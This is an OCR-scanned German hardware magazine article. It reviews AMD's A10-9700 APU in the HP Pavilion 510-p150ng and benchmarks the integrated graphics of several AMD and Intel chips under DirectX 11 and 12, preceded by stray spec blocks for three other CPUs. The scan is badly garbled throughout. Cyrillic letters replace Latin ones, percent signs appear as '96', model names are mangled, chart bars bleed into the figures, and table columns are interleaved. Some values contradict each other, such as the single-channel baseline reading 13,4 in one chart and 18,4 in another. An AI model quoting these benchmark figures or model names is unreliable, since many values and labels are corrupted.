Intel Core i5-4690K 
3,5 GHz - 4d4t - РІМ 39,6 % 


Preis: Ca. 245 Euro 


I -: 
654% 


А22:31 C3:90 1:54 SC2:36 РСВ: 12033 72:288 BLD:368 х264:163 
АС: 85 РА: 85  FC4:98 — TW3:80 ЗМР: 7482 185: 150 СВ15: 565 yCr: 168 


Intel Core 15-6500 
3,4 GHz — 4d4t — РІМ 47,5 % 


Preis: Ca. 200 Euro 


IN ©; 
40,6% 


A22:24 C383 1:55 SC2:34  FCB:10566 72:293 BLD:391 x264:151 
ACS:87 РА: 95  FC4:99 — TW3:79 — 3DMP:7433 LR5:149 CB15:560 yCr:153 


AMD FX-9590 
4,7 GHz – 4m/8t — PLV 51,0 % 


Preis: Ca. 190 Euro 


A22::25 (3:96 Pë SC2:20 СВ: 15018 72:208 BLD:415 — x264:138 
ACS:81 — DAE81  FC479 — TW3:81 ЗОМР: 8407 1А5:146 СВ15: 727 yCr:256 


Spiele (links): Anno 2205, Assassin's Creed Syndicate, Crysis 3, Dragon Age: Inquisition, F1 2015, Far Cry 4, Star- 
craft 2 LotV, Witcher 3: gerundete Durchschnitts-Fps in 1.280 x 720 (max. Details außer Post-Proc., AO/AA/AF), 
mehr ist besser. Anwendungen (rechts): Fritz Chessbench, 3D Mark Firestrike Physics, Cinebench R15: Punkte 
(mehr ist besser), 7-Zip 15.21, Lightroom 5.7.1, Blender 2.76, x264, y-Cruncher: Sekunden (weniger ist besser) 
System: 8 GiByte je Speicherkanal, Turbo an; Windows 10 64 Bit, Geforce GTX 980 Ti @ 1.380/3.900 MHz 
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E PROZESSOREN | Bristol-Ridge- und DX12-APUs 


wischen 
allen Stühlen 


Mit Zen setzt AMD im kommenden 
Jahr auf eine neue CPU-Architektur. 
Die Bristol-Ridge-APUs etwa in HPs 
Pavilion Desktop 510-p150ng nutzen 
die neue AM4-Plattform schon jetzt. 


Mit 1.331 Kontaktbeinchen ist 
der A10-9700 (links) deutlich 
dichter bestückt als die vor- 
hergehenden Kaveri-Modelle 
(rechts) — Zen lässt grüßen. 
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Bristol-Ridge- und DX12-APUs | PROZESSOREN 


Z wirft seine Schatten schon 
lange voraus. Nach der häpp- 
chenweisen Ankündigung von 
AMDs neuer CPU-Architektur zeigt 
sich die kommende AM4-Plattform 
erstmals in einem Komplett-PC, 
dem HP Pavilion 510-p150ng. In 
ihm kommen der Sockel AM4, 
DDR4-RAM und auch die I/O-Hub- 
Bausteine aus AMDs „Promontory“- 
Reihe zum Einsatz. Dazu gibt es 
mit dem A10-9700 die ersten und 
bislang flottesten erhältlichen Bris- 
tol-Ridge-APUs, Prozessoren mit 
potenter integrierter Grafik also. 
Auf die werfen wir im Rahmen die- 
ses Artikels einen genaueren Blick 
- und der offenbart einige Überra- 
schungen. 


Neue Plattform 

Auf AMDs langem Weg zur kom- 
menden CPU-Generation ist deren 
Codename „Zen“ Programm, denn 
Geduld ist gefragt und zunächst 
sind AMDs Desktop-APUs der 
9000-Reihe dran - in unserem Falle 
das auf dem Papier zweitstärkste, 


de facto aber schnellste der erhäiltli- 
chen Modelle, der A10-9700. 


Excavator und GCN1.2 

Gerade die der AMÁ-Plattform inne- 
wohnende Unterstützung des flot- 
ten DDR4-2133-Speichers könnte 
für beflügelte Performance-Werte 
der integrierten Grafik sorgen. 
Denn hier will AMD besonders 
stark zulegen und setzt daher den 
maximalen 3D-Takt mit 1.029 MHz 
wesentlich höher als bislang an. Im 
Vergleich zum Kaveri-Einstand mit 
dem A10-7850K (720 MHz GPU) 
sind das rund 43 Prozent mehr, im 
Vergleich zum bis dato schnellsten 
Kaveri/Godavari, dem A10-7890K 
(867 MHz), beträgt der Zuwachs 
knapp 19 Prozent. Allerdings muss 
der A10-9700 mit 6 Compute Units 
mit zusammen 384 Shader-ALUs 
auskommen. Der Leistungsvorteil 
gegenüber dem 7850K liegt daher 
bei maximal sieben Prozent. Auf 
der CPU-Seite quetscht AMD hier 
quasi einen Athlon X4 845 (s. Test 
in PCGH 05/2016: Excavtor, 2m/Át, 


Übersicht: Technische Daten im Vergleich 


A10-9700 A10-7860K | A10-7890K | A10-7850K 
Veröffentlichung Sept. 2016 März 2016 März 2016 Januar 2014 
Plattform AMA FM2+ FM2+ FM2+ 
CPU-Generation Bristol Ridge Kaveri Kaveri Kaveri 

(Godavari) (Godavari) 

Grafik-Generation GCN1.2 GCN1.1 GCN1.1 GCN1.1 
Module/Threads 2/4 2/4 2/4 2/4 
Compute Units (ALUs) 6 (384) 8 (512) 8 (512) 8(512) 
Takt 1.029 757 867 720 
GFLOPS 790,27 э 887,8 737,28 
ТОР 65 Watt 65 Watt 95 Watt 95 Watt 


3,5 GHz Basis-Takt, 3,8 GHz Tur- 
bo) in das Leistungsbudget von 65 
Watt mit hinein. Bei hoher Last auf 
beiden Kerntypen - CPU und GPU 
- reicht das nicht mehr aus. Im Lux- 
mark 3.1 etwa taktet die Grafik mit 
1.029 MHz, die explizit als Open- 
CL-Gerät ausgewählte CPU muss 
mit 1.400 MHz vorlieb nehmen. 


HP Pavilion 510-p150ng 
Der mit rund 15,7 Litern sehr kom- 
pakte Desktop-PC wird für den 


HR 


niedrigen Preis von 399 Euro im 
PCGH-Preisvergleich geführt. Dafür 
gibt es den bereits beschriebenen 
A10-9700 auf einem HP-eigenen 
AM4-Board (HP PFTYHOAWJ370QT: 
АМ4, 2x DDR4-DIMM, 1x PCI-E.x16, 
1x M.2 2230, 2x SATA 6,0 Gbps, 
ALC3863 Sound). Größtes Manko 
für die Nutzung der integrierten 
Grafik: Der 8 GiByte große Spei- 
cher ist nur in Form eines Moduls 
vorhanden, sodass die A10-9700 in 
grafiklastigen Anwendungen und 


Ru 2 


Auch die Bristol-Ridge-APUs wie der A10-9700 setzen auf das typische Gewand mit 


metallenem Heatspreader und einer Vielzahl von Kontaktbeinchen an der Unterseite. 


Der AM4-Sockel stellt auch die Leitungen zum aktuellen DDR4-RAM her — im HP-PC 
leider nur mit einem RAM-Modul im sogenannten Single-Channel-Modus. 


A10-9700: Spieleleistung Bioshock Infinite 


A10-9700: Spieleleistung TES 5 Skyrim 


„New Eden": 1.920 х 1.080, Voreinstellung ,, Mittel" 


i7-6770HQ (45W, DDR4-2133) EXE 35,6 (+93 %) 
Intel Core i7-5775C (65W, DDR3-1600) 33,9 (+84 %) 
Intel Core i5-5675C (65W, DDR3-1600) EEE 33,6 (+83 %) 
AMD A10-7870K (95W, DDR3-2400) Egi 32,5 (+77 %) 
A10-9700 (65W, DDR4-2133) wñ 29,5 (+60 %) 
AMD A10-7850K (95W, DDR3-2400) Es ШЕШ 28,9 (+57 %) 
AMD A10-7860K (65W, DDR3-1866) 26,8 (+46 %) 
Intel Core i7-6700K (91W, DDR4-2133) Ens 20,0 (+9 96) 
A10-9700 (65W, 1x DDR4-2133) EIS 13,4 (Basis) 
Intel Core 13-6100 (51W, DDR4-2133) EISEN 17,4 (-5 %) 


„Secunda’s Kiss”: 1.920 x 1.080, Voreinstellung Mittel" (kein MSAA/FXAA) 


i7-6770HQ (45W, DDR4-2133) БО Н 69,5 (+111 96) 
Intel Core i7-5775C (65W, DDR3-1600) o 62,2 (+88 96) 
Intel Core i5-5675C (65W, DDR3-1600) 59,8 (+81 96) 
AMD A10-7870K (95W, DDR3-2400) ВЕСОВ 56,9 (+72 %) 
A10-9700 (65W, DDR4-2133) EEE ИШЕ 56,2 (+70 96) 
AMD A10-7850K (95W, DDR3-2400) Eau 50,3 (+52 %) 
AMD A10-7860K (65W, DDR3-1866) EB 41,9 (+27 96) 
Intel Core i7-6700K (91W, DDR4-2133) Ea es 39,7 (+20 %) 
Intel Core 13-6100 (51W, DDR4-2133) EEEE 34,9 (+6 96) 
A10-9700 (65W, 1x DDR4-2133) Eg 33,0 (Basis) 


System: AMD A10-9700 (2m/At, 3,5-3,8 GHz), Radeon R7 (384 ALUs, 200-1.029 MHz); 
Windows 10 x64 (1607), RSCE 16.9.2 WHQL, Intel 21.20.16.4542(SKL)/20.19.15.4539 
(BDW) Bemerkungen: Der A10-9700 kommt beinahe an seine 95W-Geschwister heran. 


Mimil @ Fps 


» Besser 


System: AMD A10-9700 (2m/At, 3,5-3,8 GHz), Radeon R7 (384 ALUs, 200-1.029 MHz); 
Windows 10 x64 (1607), RSCE 16.9.2 WHQL, Intel 21.20.16.4542(SKL)/20.19.15.4539 
(BDW) Bemerkungen: Erst Dual-Channel-RAM bringt den A10-9700 auf Trab (+70%!). 


Mimil 2 Fps 


» Besser 
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stung des A10-9700 mit Dual-Channel-RAM auf einen zu niedrigen Wert 
h die Gesamtleistung anhand der Single-Channel-Werte errechnet. 


* |n der Mehrzahl der Durchläufe fiel die Physik- 


(4,86 Fps/1.529 Punkte), wir haben daher zu: 


PROZESSOREN 


| Bristol-Ridge- und DX12-APUs 


AMD A10-9700 im 3D Mark Firestrike 


3D Mark Firestrike v2 
17-6770HQ (Iris Pro 580; 2x 
A10-7870K (R7-Series; 2x 
A10-9700 (R7-Series; 2x 
17-5775С (Iris Pro 6200; 2x 
A10-7850K (R7-Series; 2x 
i5-5675C (Iris Pro 6200; 2x 
i7-6700K (HD 530; 2x 
A10-9700 (R7-Ser. ; def. 1x 


i7-5775C (Iris Pro 6200; 2x 
17-6770HQ (Iris Pro 580; 2x 
i5-5675C (Iris Pro 6200; 2x 
i7-6700K (HD 530; 2x 
A10-7870K (R7-Series; 2x 
410-9700 (R7-Series; 2x 
A10-9700 (R7-Ser.; def., 1x 
A10-7850K (R7-Series; 2x 


3D Mark Firestrike v2. 


.1.2973 (Gesamt-/Grafikpunkte) 


DDR4-2133) I 1.949 (+61 o) 
DDR3-2400) ME ШЕШШ 1.921 (+58 %) 
DDR4-2133) T e 1.902 (+57 %) 
DDR3-1600) EE 1.825 (+50 %) 
DDR3-2400) EEG 1.795 (+48 %) 
DDR3-1600) MEMME E 1.792 (+48 %) 
DDRA-2133) EE 1.260 (+4 %) 

DDRA-2133) TEN 1.213 (Basis) 

1.2973 (Combined/Physikpunkte) 


DDR3-1600) 705] Eu 11.561 (+169 %) 
DDR4-2133) M728 9.525 (+122 %) 
DDR3-1600) ЖОШ Н 7.992 (+86 %) 

DDRA-2133) ЗЇ ШЕШШ 6 620 (+54 %) 

DDR3-2400) ШЕСТ EEE 4.505 (+5 %) 

DDRA4-2133) E5931] 4.311 (+0 %) 

DDR4-2133) ЮЗ! EEE 4.293 (Basis) 

DDR3-2400) ЖБ EEE 4.249 (-1 90) 


System: A10-9700 (2m/4t, 3,5-3,8 GHz), Rad. R7 (384 ALUs, 200-1.029 MHz); 1x/2x 8 GiB 
DDR4-2133, Win10 x64 (1607), 
Der Wert im Balken zeigt die Gesamtpunkte (oben) und die Combined-Punkte (unten). 


Punkte 


RSCE 16.9.2, Intel 21.20.16.4542/4539 Bemerkungen: 
> Besser 


Speicherskalierung AMD-APUs 


A10-9700 (2x 
AMD A10-7850K (2x 
AMD A10-7850K (2x 
AMD A10-7850K (2x 
AMD A10-7850K (2x 
A10-9700 (1x 
AMD A10-7850K (2x 


TES5 Skyrim „Secunda 


A10-9700 (2x 
AMD A10-7850K (2x 
AMD A10-7850K (2x 
AMD A10-7850K (2x 
AMD A10-7850K (2x 
A10-9700 (1x 
AMD A10-7850K (2x 


Bioshock Infinite „New Eden”: 1.920 x 1.080, Voreinstellung Mittel" 


DDR4-2133) Eg ew 29,5 (+60 96) 
DDR3-2400) EU ШШШ 28,9 (+57 %) 
DDR3-2133) EE 27, (+52 %) 
DDR3-1866) Egan ШЕШШ 25,8 (+40 %) 
DDR3-1600) EX E 23,4 (+27 %) 
DDR4-2133) IS] ШИШИ 18,4 (Basis) 

DDR3-1066) Ea es 17,0 (-8 96) 


(e Kiss": 1.920 x 1.080, Voreinst. ,, Mittel" (kein MSAA/FXAA) 


DDRA-2133) Eg [e 56,2 (+70 96) 
EE 50,3 (+52 %) 
DDR3-2133) Eat ШЕШ 48,5 (+47 %) 
DDR3-1866) Egi Ex 44,9 (+36 96) 
DDR3-1600) Egg 41,9 (+27 96) 
DDR4-2133) a aa 33,0 (Basis) 

DDR3-1066) SSERUHUUIEIIICUNəIWSNIIKWIIIX'DX2,2 (-2 %) 


System: AMD A10-9700 (2m 
Win10 x64 (1607), RSCE 16.9. 


leistung am dichtesten beeinander, so lässt sich hier die Speicherskalierung gut abschätzen. 


/4t, 3,5-3,8 GHz), Radeon R7 (384 ALUs, 200-1.029 MHz); 


2 Bemerkungen: 7850K und 9700 liegen in Sachen Roh- Wie" 2 Fps 


» Besser 


Technikcheck: Speicherkompression 


Spielen trotz Speicherkompression 
förmlich verhungert. Wir messen 
bis zu 70 Prozent höhere Perfor- 
mance bei Einsatz eines zweiten 
Moduls - schade, dass HP so viel 
Spieleleistung einfach liegen lässt. 


Die beiden SATA-Ports des Boards 
werden von einer 1-TByte-Festplatte 
(Toshiba DTO1ACA100) und einem 
Slimline-DVD-Brenner belegt. Auf 
der HDD ist Windows 10 Home x64 
vorinstalliert - inklusive HP-Assis- 
tenzsoftware und einer 30-Tage- 
Version des McAfee-Virenscanners. 
Der M.2-Slot wird von einem WiFi- 
Modul (Intel 3168NWG) mit WLAN 
(802.11ac) und Bluetooth 4.0 belegt, 
das Gehäuse fungiert als Antenne. 


Rückwärtige Anschlüsse bietet der 
PC wie folgt: HDMI 2.0 (HP gibt 1.4b 
an), DSub15, RJ45, 3x3,5mm Klinke, 
je 2x USB 2.0 und 3.0 (Typ A). An der 
Front kommen noch eine Headset- 
Buchse (3,5 mm Klinke), 2x USB 2.0 
sowie ein SD-Kartenleser (ebenfalls 


AIDA64 GPGPU Benchmark 


GPU: AMD Radeon R7 Graphics (Bristol Ridge) 
84 cores, 6 CUs, Driver 2117.13 (VM) 


1028 MHz, 


USB 2.0) hinzu. Auf der Oberseite 
gibts den Power-Knopf. Das Netz- 
teil leistet maximal 180 Watt, bietet 
jedoch keine freien Anschlüsse, 
sodass Grafikkarten nur über den 
Slot befeuert werden kónnen - das 
beschränkt zusammen mit der maxi- 
malen Einbaulänge von 17,3 cm die 
Auswahl aktueller Modelle auf die 
Radeon RX 460 sowie die Geforce 
GTX 1050 (TD. Dual-Slot-Karten 
werden durch den aufragenden 
ATX-Stecker auf rund 16 Zentimeter 
begrenzt. Eine einfache Zwei-Tasten- 
Maus und eine Standard-Tastatur 
legt HP ebenfalls mit in den Karton. 
Die Belüftung übernehmen der 
80-mm-Quirl des Netzteils sowie 
ein ausblasendes 90-mm-Modell an 
der unteren Gehäuserückwand. Der 
A10-9700 wird von einem auf einem 
Radialprofil aus Alu montierten 
75-mm-Gebläse adäquat gekühlt. 


Zusammen mit der nicht entkop- 
pelt montierten Festplatte sorgen 
die Gebläse unter Volllast für einen 


AMD; 


RRDEON 


GRAPHICS 


(Bristol Ridge) 


MHz, 4 cores, 4 threads 


Memory Read 

Memory Write 

Memory Copy 
Single-Precision FLOPS 
Double-Precision FLOPS 


24-bit Integer IOPS 


24287 
2426! 


ren Texturschichten, wie sie auch in realen Spielen genutzt werden, nimmt der Nutzen ab. 
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APU-Modell Texturübertragungsraten in GB/s 32-bit Integer IOPS 260.5 GIOPS | 

Speicherkonfig. | 1x Random | 1x Black Gewinn (96) — us 
AMD A10-9700 1x 0084-2133 017 19 +63 % 64-bit Integer IOPS 65.04 GIOPS 
AMD A10-9700 2x DDR4-2133 24,1 38,7 +43 % 
AMD A10-7850K 2x DDR3-2400 31,3 313 +0 % Die GCN-Kerne in Bristol Ridge bieten eine vergleichsweise fürstliche Double-Precisi- 
i7-5775C (Iris Pro 6200) | 2x DDR3-1600 328 32,5 -1% on-Leistung von 50 Prozent der SP-Performance — üblich sind 1/16tel bis 1/32stel. 
i7-6770HQ (Iris Pro 580) | 2x DDR4-2133 48,2 61,6 +28 % 

8x Random | 8x Black | Gewinn in Prozent 

AMD A10-9700 1x DDR4-2133 12,6 14,3 +14 96 
AMD A10-9700 2x DDR4-2133 25,5 28,5 +12 96 
AMD A10-7850K 2x DDR3-2400 ss 33,4 +0 96 
17-5775С (Iris Pro 6200) | 2x DDR3-1600 27,2 26,5 -2,6 % =s = 
17-6770НО (Iris Pro 580) | 2x DDR4-2133| 224 23⁄4 +5% MTTEEPITITIIIIIIIII ТЕТИГИ 
Bemerkungen: Zufällige Texturen (, Random") lassen sich nicht komprimieren, während rein š 
schwarze Texturen den Optimalfall darstellen. Aus dem Zuwachs zwischen zufälligen und 
schwarzen Texturen lässt sich die Wirksamkeit der Speicherkomprimierung ablesen. Bei mehre- Die AM4-APUS der Bristol-Ridge-Reihe sind, schließt man von unserem Testexemplar, 


bedingt durch kürzere Beinchen minimal flacher als ihre Vorgänger. 
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Geräuschpegel von bis zu 1,6 Sone, 
wobei die ebenfalls nicht entkop- 
pelten Standfüße aus Metall nicht 
gerade hilfreich sind. 


Im System-Benchmark PC Mark 8 
Home messen wir ohne Beschleu- 
nigung 2.240 Punkte (2.492 mit 
einem zweiten DDR4-Modul); darf 
die GPU mithelfen, sind es 2.901 
(3.162). Während der Dual-Chan- 
nel-Zuwachs beinahe ausschließ- 


lich vom „Casual Gaming"-Subtest 
herrührt, hilft die GPU-Beschleu- 
nigung im PC Mark auch im Video 
Chat/Encoding und bei der Bildbe- 
arbeitung. Im Work-Subtest hilft die 
GPU auch bei der Spreadsheet-Be- 
rechnung via Libre Office enorm: 
Hier stehen 2.519 4.111 Punkten ge- 
genüber, Dual-Channel-RAM bringt 
hier maximal 95 Punkte. Die reinen 
CPU-Ergebnisse decken sich mit 
denen des Athlon X4 845, beispiel- 


haft sei hier der Cinebench R15 mit 
302/91 Punkten erwähnt 


Die Leistung ist angesichts des 
Preises von 400 Euro befriedigend, 
kónnte insbesondere in Spielen 
durch Einsatz von Dual-Channel- 
RAM aber noch deutlich besser aus- 
fallen. Nicht nur für Büroaufgaben 
bóte sich eine SSD anstelle der Fest- 
platte an, doch die würde den Preis 
in die Hóhe treiben. (cs) 


Fazit Hardware 


A10-9700 /HP Pavilion 510-p150ng 
Weder Fisch noch Fleisch — das trifft so- 
wohl auf den A10-9700 als auch den PC 
zu, in dem er verbaut ist. Einkanal-RAM 
kostet viel (Spiele-)Leistung und als 
Home-0ffice-PC wäre eine schwächere 
GPU-Einheit immer noch voll ausrei- 
chend. Dazu kommt die schwierige Er- 
weiterbarkeit des PCs. Bleibt das War- 
ten auf Zen-APUs für AM4. 


DX12: integrierte Grafik in Skylake und Bristol Ridge 


icrosofts neue Multimedia- 
Mss speziell Grafik-Schnitt- 
stelle Direct X 12 ist immer noch 
ein heißes Thema. Inzwischen sind 
schon einige Spiele mit mehr oder 
weniger experimenteller DX12- 
Nutzung erschienen und einige 
andere haben dank mehrerer Pat- 
ches inzwischen ein recht stabiles 
Verhalten gezeigt. Zeit also, sich 
einmal anzusehen, was integrier- 
te Grafikeinheiten mit der neuen 
Schnittstelle anzufangen wissen - 
denn natürlich beherrschen AMDs 
Radeon-APUs DX12-Befehle und 
auch Intels Broadwell- und vor al- 
lem Skylake-CPUs sind hier recht fit. 


Kurzüberblick Direct X 12 
Der Sinn hinter der API sollte es 
sein, den Entwicklern direkte(re)n 
Zugriff auf die GPU-Ressourcen zu 
gewähren. Gleichzeitig geht damit 
aber auch viel Verantwortung für 
Stabilität und Performance auf die 
Entwickler über, welche vorher oft- 
mals von den Treiberentwicklern 
der GPU-Hersteller AMD, Intel und 
Nvidia abgefangen wurden. 


Außerdem bedeutet eine solche 
Verantwortung vereinfacht gesagt 
auch, dass die DX12-Performance 
maßgeblich von den Optimierun- 
gen der jeweiligen Entwickler auf 
die individuellen Hardware-Cha- 
rakteristika abhängt - eben weil 
die „dicke“ Abstraktionsschicht in 
API und Treiber fehlt. Je nach Opti- 
mierungsansatz und -qualität kann 
der Schritt von DX11 auf DX12 
daher sowohl Leistung kosten als 
auch Leistung bringen - beides se- 
hen Sie in den Benchmarks auf der 
folgenden Seite. Einer der Vortei- 
le von Direct X 12 sollten bessere 
Auslastungsmöglichkeiten für die 
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CPU-Ressourcen sein - die Befehls- 
ketten etwa, welche der Treiber an 
den Grafikprozessor übergibt, kön- 
nen nun von allen CPU-Kernen ge- 
meinsam berechnet werden. Auch 
gibt es die Möglichkeit, verschiede- 
ne Kommandoketten zeitversetzt 
auf der Grafikeinheit abarbeiten 
zu lassen, um Auslastungslöcher 
abzufangen (Multiple Command 
Queues: Async Compute). Besse- 
re Auslastung für bessere Perfor- 
mance kann jedoch auch bedeuten, 
dass mehr Rechenwerke gleichzei- 
tig schalten wollen und die APU so- 
mit mehr Strom verbraucht - even- 
tuell ein Schuss ins Knie für APUs 
mit besonders knappem Power- 
Budget. 


Direct X 12: andere Ebenen 

DX12-Support kann für DXI11- 
Hardware eine reine Treiber-An- 
gelegenheit sein, denn es gibt so- 
genannte Feature-Levels für ältere 
DX-Versionen. Während sich AMDs 
GCN-basierte Grafikkerne samt 
und sonders auf DX12 FLI2 O0 ver- 
stehen, gibt es teilweise Schlupfló- 
cher etwa für ältere integrierte Gra- 
fik wie Intels Broadwell. Skylake ist 
dagegen derzeit sogar der DX12- 
Feature-Kónig und kann sogar ein 
bisschen mehr als Nvidias Maxwell- 
und Pascal-Karten. Feature-Level 
11 O oder 11 1 mit einem DX12- 
Treiber sind ausreichend, um etwa 
den 3D Mark Time Spy laufen zu 
lassen, der lediglich DX12 FL11 0 
voraussetzt. In den realen Spielen 
haben wir uns jedoch auf ,echte* 
DX12-Hardware beschränkt, die 
mindestens DX12 FL12 O schafft. 
Neben dem A10-9700 haben wir 
uns für den i7-6700K mit relativ 
schwachbrüstiger HD 530-Grafik 
entschieden. In den meisten Fäl- 


DX12-Leistung: 3D Mark Time Spy 


3D Mark Time Spy v2.1.2973 (Punktzahl Gesamt) 


i7-6770HQ (Iris Pro 580; 2x DDR4-2133) Eu 768 (+15 %) 
A10-9700 (R7-Series; 2x DDRA-2133) TIKI 668 (Basis) 
i7-5775C (Iris Pro 6200; 2x DDR3-1600) EX 654 (-2 96) 
i5-5675C (Iris Pro 6200; 2x DDR3-1600) EX 648 (-3 96) 
A10-7850K (R7-Series; 2x DDR3-2400) EX 633 (-5 96) 
i7-6700K (HD 530; 2х DDR4-2133) Eu 440 (-34 %) 
3D Mark Time Spy v2.1.2973 (Punktzahl Grafik) 


i7-6770HQ (Iris Pro 580; 2x DDR4-2133) ERR 676 (+12 96) 
A10-9700 (R7-Series; 2x DDR4-2133) T 60 1 (Basis) 
A10-7850K (R7-Series; 2х DDR3-2400) Xu 570 (-5 96) 
i7-5775C (Iris Pro 6200; 2x DDR3-1600) EX 570 (-5 96) 
i5-5675C (Iris Pro 6200; 2x DDR3-1600) EX 569 (-5 96) 
i7-6700K (HD 530; 2х DDR4-2133) EEE 384 (-36 96) 
3D Mark Time Spy v2.1.2973 (Punktzahl CPU-Test) 


i7-5775C (Iris Pro 6200; 2x DDR3-1600) EX 5.898 (+116 %) 
i7-6770HQ (Iris Pro 580; 2x DDRA-2133) En 3.445 (+91 %) 
15-5675 (Iris Pro 6200; 2x DDR3-1600) EX 2.998 (+66 %) 
i7-6700K (HD 530; 2x DDR4-2133) Eu 2.568 (4-42 %) 
A10-9700 (R7-Series; 2x DDR4-2133) BEI 1.808 (Basis) 
A10-7850K (R7-Series; 2x DDR3-2400) EEE 1.721 (-5 %) 


System: A10-9700 (2m/4t, 3,5-3,8 GHz), Rad. R7 (384 АШ», 200-1.029 MHz); 2x 8 GiByte 
DDR4-2133, Win10 x64 (1607), RSCE 16.9.2, Intel 21.20.16.4542/4539 Bemerkungen: 
Hier schlágt sich die A10-APU 9700 auch gegen teure Intel-Chips wie den i7-5775C sehr gut. 


Punkte 
» Besser 


E 7 


Der 3D Mark Time Spy fordert alles von den Grafikeinheiten — doch auf solche Bench- 


marks sind die Treiber zumeist optimiert. 


01/17 | PC Games Hardware 43 


PROZESSOREN | Bristol-Ridge- und DX12-APUs 


len sind 15- oder gar i3-Modelle bei 
IGP-Nutzung aufgrund des starken 
GPU-Limits nicht 
langsamer. Zum Testreigen gesellt 
sich Intels aktuelles IGP-Topmo- 
dell, die Iris Pro 580. Sie gibt es 
nur in Mobile- oder Server-CPUs, 
nicht aber als gesockelte Desktop- 
Variante. Der Pferdefufs Sie ist 
fest verlótet in Intels Skull-Canyon 
NUC6i7KYK (einem mit rund 590 
Euro recht teuren Mini-Barebone) 
und weist zudem eine TDP von nur 
45 Watt auf. OC-Versuche mit Intels 
XTU-Tool scheitern flott an hohen 


nennenswert 


Temperaturen, bedingt durch die 
winzige Kühlung - Standard-Takte 
also. Die ebenfalls für den Ver- 
gleich eingeplante A10-7860K-APU 
verabschiedete sich leider während 
der Tests von einem ihrer beiden 
Speichercontroller, sodass weitere 
IGP-Benchmarks wertlos wurden. 


Direct X 12 in Spielen 

Wie bereits angedeutet, haben wir 
es uns bei der Suche nach DX12- 
Spielen für diese Benchmarks nicht 
leicht gemacht. Zum einen war uns 


eine vergleichsweise ausgereifte, 


- : d 


Rise of the Tomb Raider läuft trotz niedriger Details in 1.366 x 768 Pixeln nur äußerst 
mäßig auf integrierten Grafikeinheiten gleich welcher Bauart. 


das heißt durch mehrere Patches 
gegangene DX12-Unterstützung 
wichtig. Zum anderen ist integrier- 
te Grafik gleich welcher Bauart für 
schnelle Shooter à la Doom oder 
Battlefield 1 nicht geeignet. Unsere 
Wahl fiel daher neben dem 3D Mark 
Time Spy in seiner Eigenschaft als 
primäres Ziel möglicher Treiberop- 
timierungen auf vier Spiele. Zwei 
davon aus AMDs Gaming-Evolved 
Programm (Hitman und Deus Ex), 
eines aus der Nvidia-Ecke (Tomb 
Raider) und mit Ashes of the Sin- 
gularity ein Titel, dessen Engine 
schon auf Mantle und damit AMDs 
Eigenheiten optimiert worden ist. 
Intel hält sich in Sachen DX12-Ent- 
wicklersponsoring bedeckt. 


In der Spiele-Praxis hatten wir zwei 
Abstürze beim erneuten Laden des 
Savegames von Ashes of the Singu- 
larity zu vermelden und in einem 
Durchlauf unseres Deus-Ex-Savega- 
me-Benchmarks in den Straßen von 
Prag zeigte der A10-9700 kurzzeitig 
wirre dunkle Flächen dort, wo sie 
nicht hingehörten. 


APU-Leistung in Direct X 12 
Wir nutzen nicht die integrierten 
Benchmarks, sondern unsere be- 
währten Savegame-Durchläufe. 
Trotz der geringen Auflösung von 


1.366 x 768 Pixeln, der Display-Auf- 
lösung vieler Einsteiger-Notebooks 
und niedriger Detailstufe geht 
den integrierten Grafikeinheiten 
durchweg schnell die Puste aus. 
Nur die Iris Pro 580 knackte in 
Deus Ex im DX11-Pfad die 30-Fps- 
Marke, verliert unter DX12 aber an 
Boden. Unser 1080p-Test Hitman 
lief in 768p dank CPU- oder TDP- 
Limits übrigens nicht schneller. 
AMDs A10-9700 hat die integrierte 
Skylake-Grafik abseits der Iris Pro 
580 und einem eventuellen CPU- 
Limit fest im Griff. Ironischerweise 
schlägt der A10-9700 die Iris Pro 
580 gerade im DX11-Modus von 
AotS. Während die Iris Pro dort 
beim Wechsel auf DX12 starke 50 
Prozent zulegen kann, schafft der 
A10-9700 nur 10 Prozent mehr. (cs) 


Fazit Hardware 


Integrierte Grafik gegen DX12 
DX12-Spiele sind generell offenbar 
zu fordernd für integrierte Grafikein- 
heiten, was wenig verwundert. Selbst 
in niedrigen Auflösungen und Detail- 
stufen sind die Ergebnisse von spiel- 
baren Fps-Werten meist weit entfernt. 
So verschlucken sich selbst die teu- 
ersten IGP-Vertreter von Intel an allen 
bis auf einen Titel. 


IGP-Vergleich: Ashes of the Singularity 


IGP-Vergleich: Rise of the Tomb Raider 


Direct X 11 


Direct X 12 


AMD A10-9700 (R7 Series) EEE e 12,3 (Basis) 
Intel Core i7-6770HQ (Iris Pro 580) wami 9,8 (Basis) 
Intel Core i7-6700K (HD 530) XS 7,1 (Basis) 


Intel Core i7-6770HQ (Iris Pro 580) maa 14,7 (+50 96) 
AMD A10-9700 (R7 Series) maaa ИЕШЕ 13,5 (+10 %) 
Intel Core i7-6700K (HD 530) En 7,7 (+8 96) 


Direct X 11 


Direct X 12 


Intel Core i7-6770HQ (Iris Pro 580) gat pu 28,1 (Basis) 
Intel Core i7-6700K (HD 530) Xa ШЕШ 15,9 (Basis) 
AMD A10-9700 (R7 Series) Ee Ew 15,4 (Basis) 


Intel Core i7-6770HQ (Iris Pro 580) Egi s 24,8 (-12 90) 
AMD A10-9700 (R7 Series) [EX Ee 19,3 (+25 %) 
Intel Core i7-6700K (HD 530) Ep mm 14,1 (11 96) 


System: HP Pavilion 510-p150ng, Intel Skull Canyon NUC, Intel Core i7-6700K-IGP 
(Desktop), 2x 8 GiByte DDR4-2133; Windows 10 x64 (1607), RSCE 16.9.2 WHQL, Intel 
21.20.16.4542 Beta Bemerkungen: Messungen in 1.366 x 768, Low-Preset. 


MiMi 2 Fps 


» Besser 


System: HP Pavilion 510-p150ng, Intel Skull Canyon NUC, Intel Core i7-6700K-IGP 
(Desktop), 2x 8 GiByte DDR4-2133; Win10 x64 (1607), RSCE 16.9.2, Intel 21.20.16.4542 
Beta Bemerkungen: Messungen in 1.366 x 768, Voreinstellung , Niedrig", FXAA. 


Mimi ø Fps 


» Besser 


IGP-Vergleich: Hitman 


IGP-Vergleich: Deus Ex Mankind Divided 


Direct X 11 


Direct X 12 


Intel Core i7-6770HQ (Iris Pro 580) EX s 22,2 (Basis) 
AMD A10-9700 (R7 Series) ШС [X 18,6 (Basis) 
Intel Core i7-6700K (HD 530) mwa Ex 13,5 (Basis) 


Intel Core i7-6770HQ (Iris Pro 580) EEE e 21,7 (-2 96) 
AMD A10-9700 (R7 Series) is 17,4 (-6 %) 
Intel Core i7-6700K (HD 530) Eg 12,1 (-10 %) 


Direct X 11 


Direct X 12 


